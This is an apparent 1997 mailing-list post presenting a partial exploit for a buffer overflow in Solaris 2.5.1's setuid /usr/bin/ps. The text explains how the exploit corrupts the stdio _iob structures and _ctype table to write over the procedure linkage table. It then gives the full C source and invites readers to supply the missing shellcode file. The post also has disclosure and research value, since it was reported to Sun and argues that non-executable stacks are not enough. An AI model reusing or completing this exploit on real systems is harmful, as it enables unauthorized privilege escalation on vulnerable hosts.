Finally, most of an exploit for Solaris 2.5.1's ps.

Joe Zbiciak (jzbiciak@DALDD.SC.TI.COM)
Sat, 17 May 1997 20:51:10 -0500

All,

I finally managed to construct most of an exploit for Solaris'
/usr/bin/ps. This exploit does *not* use the getopt()/argv[0] hole.
Rather, it uses the buffer overrun I isolated a couple weeks ago. I've
sent a copy of this to Casper Dik over at Sun as well; hopefully he's
convinced now that a proper patch for Solaris 2.5.1 is a good idea.

This partial exploit is unique in that it does *not* rely on an
executable stack. Rather, it overwrites the buffer pointers in _iob[0]
through _iob[2], thus inducing stdio streams to do the dirty work.

The missing piece to this exploit lies in constructing a file which
gettext() will understand (pointed to by NLSPATH), which contains a
replacement for ps's usage information message. This replacement
message then would contain the exploit code for forking a shell.

The exploit source below succeeds in getting a non-suid copy of
/usr/bin/ps to write its usage message overtop of the "procedure
linkage table". The next dynamic library call to an unlinked
procedure would initiate the exploit code itself. (In this case,
it attempts to execute the ascii text of the usage message, which
isn't all that useful.)

(A bit of irony here: getopt() appears to write its message using
write(), so it bypasses the _iob[2] buffer pointer entirely.
Otherwise, I could stick the exploit code in argv[0].)

An additional side benefit of this exploit's method is that it
overwrites the entire _ctype[] buffer with flags which mark the entire
character set as printable; this seems to coax a few routines into
copying characters that they otherwise wouldn't.

One drawback to this exploit is that it is *very* difficult to set the
"environ" pointer correctly; it took me awhile to get that correct.
I've commented the specific line which affects the environ pointer.

Perhaps some of you Solaris junkies out there can flesh out the missing
half to this exploit (the file "/tmp/foo" as currently referenced in the
exploit source).

On a different level, I think this exploit is fairly unique in its
methodology; it points to the fact that overrunning static data can
actually be more dangerous than overrunning automatic data on the
stack, because setting the stack non-executable doesn't help you
anymore. In this case, I hijacked the stdio file streams to do my
bidding.

Without further ado, the (partial) exploit source is included below.

Enjoy!

--Joe

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak@daldd.sc.ti.com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+

--- cut here: ps_expl.c

#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h>

#define BUF_LENGTH 632 #define EXTRA 256

int main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; /* ps will try to read this file to grok its 'usage information' */ char *envp[]={"NLSPATH=/tmp/foo",0}; u_long *long_p; u_char *char_p; int i;

long_p = (u_long *) buf;

for (i = 0; i < (96) / sizeof(u_long); i++) *long_p++ = 0x10101010;

*long_p++=0xeffffcb0; /* environ pointer -- hard to get right. */ *long_p++=0xffffffff;

/* This loop overwrites _ctype */ for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++) *long_p++ = 0x10101010;

/* Note: 0xef70ef70 is the head of the procedure linkage table */

/* build up _iob[0] (ref: struct FILE, /usr/include/stdio.h) */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to buffer */ *long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */

/* build up _iob[1] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to buffer */ *long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */

/* build up _iob[2] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to buffer */ *long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */

*long_p =0;

execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp); perror("execle failed");

return 0; }